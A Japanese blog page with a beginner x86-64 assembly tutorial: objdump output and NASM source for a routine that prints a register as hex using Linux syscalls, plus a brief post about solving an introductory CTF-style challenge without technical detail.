$ objdump -D ./print_rax ./print_rax: ファイル形式 elf64-x86-64 セクション .text の逆アセンブル: 00000000004000b0 <_start>: 4000b0: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax 4000b7: 33 22 11 4000ba: bf 01 00 00 00 mov $0x1,%edi 4000bf: ba 01 00 00 00 mov $0x1,%edx 4000c4: b9 40 00 00 00 mov $0x40,%ecx 4000c9: eb 00 jmp 4000cb <_start.loop> 00000000004000cb <_start.loop>: 4000cb: 50 push %rax 4000cc: 48 83 e9 04 sub $0x4,%rcx 4000d0: 48 d3 f8 sar %cl,%rax 4000d3: 48 83 e0 0f and $0xf,%rax 4000d7: 48 8d b0 f8 00 60 00 lea 0x6000f8(%rax),%rsi 4000de: b8 01 00 00 00 mov $0x1,%eax 4000e3: 51 push %rcx 4000e4: 0f 05 syscall 4000e6: 59 pop %rcx 4000e7: 58 pop %rax 4000e8: 48 85 c9 test %rcx,%rcx 4000eb: 75 de jne 4000cb <_start.loop> 4000ed: b8 3c 00 00 00 mov $0x3c,%eax 4000f2: 48 31 ff xor %rdi,%rdi 4000f5: 0f 05 syscall セクション .data の逆アセンブル: 00000000006000f8 <codes>: 6000f8: 30 31 xor %dh,(%rcx) 6000fa: 32 33 xor (%rbx),%dh 6000fc: 34 35 xor $0x35,%al 6000fe: 36 ss 6000ff: 37 (bad) 600100: 38 39 cmp %bh,(%rcx) 600102: 41 rex.B 600103: 42 rex.X 600104: 43 rex.XB 600105: 44 rex.R 600106: 45 rex.RB 600107: 46 rex.RX
関数のcall
いままではラベルを利用して、jampしそこで実行されるなどを行ってきたが、実際に関数をコールしたいと思う。
push rip jmp <address>
このようにコールする際は、ripをstack内に保存し、ジャンプする。
関数の利用
実際に関数を利用し、printを実装する。
アセンブラで関数を実装するのには特にラベルとの違うところはない。
主に、異なる箇所は、retやpushによる値の保存を行っているところであろう。
section .data demo1: dq 0x1122334455667788 demo2: db 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 demo3: db '0123456789abcdef' newline_char: db 10 section .text global _start print_newline: ; いつもの初期設定 mov rax, 1 mov rdi, 1 mov rsi, newline_char mov rdx, 1 syscall ret print_hex: mov rax, rdi mov rdi, 1 mov rdx, 1 mov rcx, 64 ; rax をシフトするビット数 iterate: push rax sub rcx, 4 sar rax, cl ; 右にシフト回転させる and rax, 0xf ; 下位4ビット以外を初期化 lea rsi, [codes + rax] ; 16進数の文字コードを取得 mov rax, 1 push rcx ; write自体がrcxを破壊するので退避する。 syscall pop rcx pop rax test rcx, rcx jnz iterate ret _start: mov rdi, [demo1] ; [demo1]がdemo1の先頭アドレスをを与える。 call print_hex call print_newline mov rdi, [demo2] call print_hex call print_newline mov rdi, [demo3] call print_hex call print_newline mov rax, 60 xor rdi, rdi syscall
何かあれば追記する。
登竜門的なものを叩いてみる話 #02
書き出し
記事を解いたら解けた。
前回の記事の継続です。
本文
年明けから考えてた目標を一つクリアしたので満足しています。
知識的に前回の記事の知識と、 azara.hatenablog.com
katagaitai CTF勉強会の#2のスライドを読んだら解けたので困っている人がいたら読んでみてください。
画像群